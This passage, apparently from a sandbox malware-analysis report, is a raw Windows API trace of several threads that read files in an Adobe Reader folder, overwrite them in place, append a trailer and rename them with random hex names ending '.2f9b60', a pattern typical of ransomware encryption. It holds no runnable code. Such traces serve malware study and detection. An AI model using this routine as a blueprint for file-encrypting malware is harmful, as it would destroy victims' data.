0x1b860f00 [0231.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860ed0 [0231.314] NtQuerySystemTime (in: CurrentTime=0x27ddf600 | out: CurrentTime=0x27ddf600*=132462178353022000) returned 0x0 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x13fd4d11 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x63f3a9c3 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x2a3c8d9e [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x4479a82f [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x209a9a5a [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x135d4bb2 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x757b5bd3 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x13afb45b [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x12aa29d6 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x14303e9b [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x8f5a486 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x21da51ad [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x1ea64195 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x5d407e47 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x4479a82f [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x233a3fb7 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x55f98534 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x75c18c58 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x4525af1c [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x1d4808ad [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x530ea313 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x1e8668da [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x24e340ff [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x7d233950 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0xc803d24 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0xc803d24 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0xd0f405b [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x19b04f46 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x4c958db2 [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x326b098a [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x11306a4b [0231.314] RtlRandomEx (in: Seed=0x27ddf5f0 | out: Seed=0x27ddf5f0) returned 0x705a7358 [0231.321] ReadFile (in: hFile=0x1acc, lpBuffer=0x41b80d80, nNumberOfBytesToRead=0x53, lpNumberOfBytesRead=0x27ddf5f0, lpOverlapped=0x0 | out: lpBuffer=0x41b80d80*, lpNumberOfBytesRead=0x27ddf5f0*=0x53, lpOverlapped=0x0) returned 1 [0231.322] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.322] WriteFile (in: hFile=0x1acc, lpBuffer=0x41b75950*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x27ddf5f4, lpOverlapped=0x0 | out: lpBuffer=0x41b75950*, lpNumberOfBytesWritten=0x27ddf5f4*=0x53, lpOverlapped=0x0) returned 1 [0234.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f36a0 [0234.746] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3640 [0234.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3640) returned 1 [0234.747] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b75950) returned 1 [0234.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b80d80) returned 1 [0234.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9ee0) returned 1 [0234.748] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058100) returned 1 [0234.748] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x422f3640 [0234.749] SetFilePointerEx (in: hFile=0x1acc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.749] WriteFile (in: hFile=0x1acc, lpBuffer=0x169f70*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x27ddf710, lpOverlapped=0x0 | out: lpBuffer=0x169f70*, lpNumberOfBytesWritten=0x27ddf710*=0xfe, lpOverlapped=0x0) returned 1 [0236.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62280 [0236.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e370 [0236.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0236.441] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202649b0) returned 1 [0236.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0236.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202649b0 [0236.442] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0236.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0236.443] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e370) returned 1 [0236.444] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62280) returned 1 [0236.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x202674a0 [0236.444] sprintf (in: _Dest=0x202674a0, _Format="%c%c" | out: _Dest="73") returned 2 [0236.444] sprintf (in: _Dest=0x202674a2, _Format="%c%c" | out: _Dest="02") returned 2 [0236.444] sprintf (in: _Dest=0x202674a4, _Format="%c%c" | out: _Dest="b7") returned 2 [0236.444] sprintf (in: _Dest=0x202674a6, _Format="%c%c" | out: _Dest="db") returned 2 [0236.444] sprintf (in: _Dest=0x202674a8, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.444] sprintf (in: _Dest=0x202674aa, _Format="%c%c" | out: _Dest="d0") returned 2 [0236.444] sprintf (in: _Dest=0x202674ac, _Format="%c%c" | out: _Dest="ad") returned 2 [0236.444] sprintf (in: _Dest=0x202674ae, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.444] sprintf (in: _Dest=0x202674b0, _Format="%c%c" | out: _Dest="6a") returned 2 [0236.444] sprintf (in: _Dest=0x202674b2, _Format="%c%c" | out: _Dest="f7") returned 2 [0236.444] sprintf (in: _Dest=0x202674b4, _Format="%c%c" | out: _Dest="15") returned 2 [0236.444] sprintf (in: _Dest=0x202674b6, _Format="%c%c" | out: _Dest="d9") returned 2 [0236.444] RtlInitAnsiString (in: DestinationString=0x27ddf788, SourceString="7302b7dbf5d0ad8d6af715d9" | out: DestinationString="7302b7dbf5d0ad8d6af715d9") [0236.444] RtlAnsiStringToUnicodeString (in: DestinationString=0x27ddf758, SourceString="7302b7dbf5d0ad8d6af715d9", AllocateDestinationString=1 | out: DestinationString="7302b7dbf5d0ad8d6af715d9") returned 0x0 [0236.444] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1ce5e070 [0236.445] wcscat (in: _Dest=0x431ca9a0, _Source="7302b7" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7302b7") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7302b7" [0236.445] wcscat (in: _Dest=0x431ca9a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7302b7.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7302b7.2f9b60" [0236.445] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7302b7.2f9b60", NtPathName=0x27ddf730, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\7302b7.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.445] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x430e34a0 Thread: id = 3897 os_tid = 0x5d4 [0229.969] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif")) returned 0x20 [0230.824] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif", dwFileAttributes=0x20) returned 1 [0231.027] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\br.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\br.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x25a8 [0231.354] GetFileSizeEx (in: hFile=0x25a8, lpFileSize=0x3827f700 | out: lpFileSize=0x3827f700*=82) returned 1 [0231.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860810 [0231.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0231.355] NtQuerySystemTime (in: CurrentTime=0x3827f5c0 | out: CurrentTime=0x3827f5c0*=132462178353490000) returned 0x0 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x639d201e [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x596fb195 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x5a3f3522 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x100d396c [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x2ecfd118 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x38055895 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x20a88edb [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x5a8ca06b [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x6d475a05 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x52bb90d0 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x221cb831 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x4fcc9aa5 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x1384db9b [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x241f82f9 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x32458d5 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x68ad06b1 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x3f04a6d2 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x5ca63c90 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x4771c0c9 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x4e2675bc [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x54d8b56a [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x3385f812 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x23d58743 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x66c4211d [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x12dcaaf0 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x5e074cc4 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0xf3632f7 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x5eab15eb [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x6d6fa41c [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x7293ca18 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x4a566627 [0231.355] RtlRandomEx (in: Seed=0x3827f5b0 | out: Seed=0x3827f5b0) returned 0x5f11f629 [0231.362] ReadFile (in: hFile=0x25a8, lpBuffer=0x42a22670, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x3827f5b0, lpOverlapped=0x0 | out: lpBuffer=0x42a22670*, lpNumberOfBytesRead=0x3827f5b0*=0x52, lpOverlapped=0x0) returned 1 [0231.363] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.363] WriteFile (in: hFile=0x25a8, lpBuffer=0x42a26280*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x3827f5b4, lpOverlapped=0x0 | out: lpBuffer=0x42a26280*, lpNumberOfBytesWritten=0x3827f5b4*=0x52, lpOverlapped=0x0) returned 1 [0239.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313be00 [0239.300] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bd70 [0239.300] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313bd70) returned 1 [0239.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a26280) returned 1 [0239.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a22670) returned 1 [0239.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb560) returned 1 [0239.301] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ec0) returned 1 [0239.301] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313bd70 [0239.302] SetFilePointerEx (in: hFile=0x25a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0239.302] WriteFile (in: hFile=0x25a8, lpBuffer=0x1cebd020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x3827f6d0, lpOverlapped=0x0 | out: lpBuffer=0x1cebd020*, lpNumberOfBytesWritten=0x3827f6d0*=0xfe, lpOverlapped=0x0) returned 1 [0242.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62640 [0242.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0242.018] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c6a0 [0242.019] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c6a0) returned 1 [0242.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc) returned 0x1b82cfe0 [0242.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c6a0 [0242.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313c670 [0242.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313c670) returned 1 [0242.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0242.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62640) returned 1 [0242.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x19) returned 0x4313c670 [0242.021] sprintf (in: _Dest=0x4313c670, _Format="%c%c" | out: _Dest="bd") returned 2 [0242.021] sprintf (in: _Dest=0x4313c672, _Format="%c%c" | out: _Dest="c7") returned 2 [0242.021] sprintf (in: _Dest=0x4313c674, _Format="%c%c" | out: _Dest="f4") returned 2 [0242.021] sprintf (in: _Dest=0x4313c676, _Format="%c%c" | out: _Dest="34") returned 2 [0242.021] sprintf (in: _Dest=0x4313c678, _Format="%c%c" | out: _Dest="a2") returned 2 [0242.021] sprintf (in: _Dest=0x4313c67a, _Format="%c%c" | out: _Dest="d5") returned 2 [0242.021] sprintf (in: _Dest=0x4313c67c, _Format="%c%c" | out: _Dest="61") returned 2 [0242.021] sprintf (in: _Dest=0x4313c67e, _Format="%c%c" | out: _Dest="9f") returned 2 [0242.021] sprintf (in: _Dest=0x4313c680, _Format="%c%c" | out: _Dest="54") returned 2 [0242.021] sprintf (in: _Dest=0x4313c682, _Format="%c%c" | out: _Dest="2f") returned 2 [0242.021] sprintf (in: _Dest=0x4313c684, _Format="%c%c" | out: _Dest="7d") returned 2 [0242.021] sprintf (in: _Dest=0x4313c686, _Format="%c%c" | out: _Dest="c6") returned 2 [0242.021] RtlInitAnsiString (in: DestinationString=0x3827f748, SourceString="bdc7f434a2d5619f542f7dc6" | out: DestinationString="bdc7f434a2d5619f542f7dc6") [0242.021] RtlAnsiStringToUnicodeString (in: DestinationString=0x3827f718, SourceString="bdc7f434a2d5619f542f7dc6", AllocateDestinationString=1 | out: DestinationString="bdc7f434a2d5619f542f7dc6") returned 0x0 [0242.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ad6a0 [0242.022] wcscat (in: _Dest=0x2027be10, _Source="bdc7f4" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bdc7f4") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bdc7f4" [0242.022] wcscat (in: _Dest=0x2027be10, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bdc7f4.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bdc7f4.2f9b60" [0242.022] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bdc7f4.2f9b60", NtPathName=0x3827f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\bdc7f4.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0242.022] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x43111aa0 [0243.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111aa0) returned 1 [0243.552] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4308f1c0) returned 1 [0243.552] NtQueryInformationFile (in: FileHandle=0x25a8, IoStatusBlock=0x3827f758, FileInformation=0x3827f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3827f758, FileInformation=0x3827f768) returned 0x0 [0243.552] NtSetInformationFile (FileHandle=0x25a8, IoStatusBlock=0x3827f758, FileInformation=0x3827f768, Length=0x28, FileInformationClass=0x4) Thread: id = 3898 os_tid = 0x110c [0229.970] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif")) returned 0x20 [0230.824] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif", dwFileAttributes=0x20) returned 1 [0231.028] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\create_form.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\create_form.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14f8 [0231.332] GetFileSizeEx (in: hFile=0x14f8, lpFileSize=0x36d9f960 | out: lpFileSize=0x36d9f960*=1194) returned 1 [0231.332] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x4a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.332] ReadFile (in: hFile=0x14f8, lpBuffer=0x36d9f8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x36d9f928, lpOverlapped=0x0 | out: lpBuffer=0x36d9f8e0*, lpNumberOfBytesRead=0x36d9f928*=0x4, lpOverlapped=0x0) returned 1 [0231.345] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b861230 [0231.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860810 [0231.345] NtQuerySystemTime (in: CurrentTime=0x36d9f820 | out: CurrentTime=0x36d9f820*=132462178353334000) returned 0x0 [0231.345] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x3f511675 [0231.345] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x768a0bc [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x1e8668da [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x15594e14 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x74d7749 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x323c592a [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x3f27a7d2 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x2c7bfae1 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x7c4fbd96 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x75c8ca3c [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x55f98534 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x65074f63 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x3f04a6d2 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x135a02db [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x409884be [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x7deba158 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x38642183 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x37da1a1b [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x524d65ab [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x600c04e2 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x1ea64195 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x7deba158 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x4e2675bc [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x6e306a63 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x7bb6acad [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x22a070b0 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x3c0454d0 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x2ecfd118 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x29f8e025 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x3f27a7d2 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0xf3632f7 [0231.346] RtlRandomEx (in: Seed=0x36d9f810 | out: Seed=0x36d9f810) returned 0x14bb881 [0231.353] ReadFile (in: hFile=0x14f8, lpBuffer=0x42a29e90, nNumberOfBytesToRead=0x4aa, lpNumberOfBytesRead=0x36d9f810, lpOverlapped=0x0 | out: lpBuffer=0x42a29e90*, lpNumberOfBytesRead=0x36d9f810*=0x4aa, lpOverlapped=0x0) returned 1 [0231.353] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.353] WriteFile (in: hFile=0x14f8, lpBuffer=0x42a0fa20*, nNumberOfBytesToWrite=0x4aa, lpNumberOfBytesWritten=0x36d9f814, lpOverlapped=0x0 | out: lpBuffer=0x42a0fa20*, lpNumberOfBytesWritten=0x36d9f814*=0x4aa, lpOverlapped=0x0) returned 1 [0234.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20265a30 [0234.162] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202654c0 [0234.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202654c0) returned 1 [0234.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a0fa20) returned 1 [0234.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a29e90) returned 1 [0234.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb5e0) returned 1 [0234.164] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058ce0) returned 1 [0234.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x431ac9a0 [0234.165] SetFilePointerEx (in: hFile=0x14f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.165] WriteFile (in: hFile=0x14f8, lpBuffer=0x116640*, 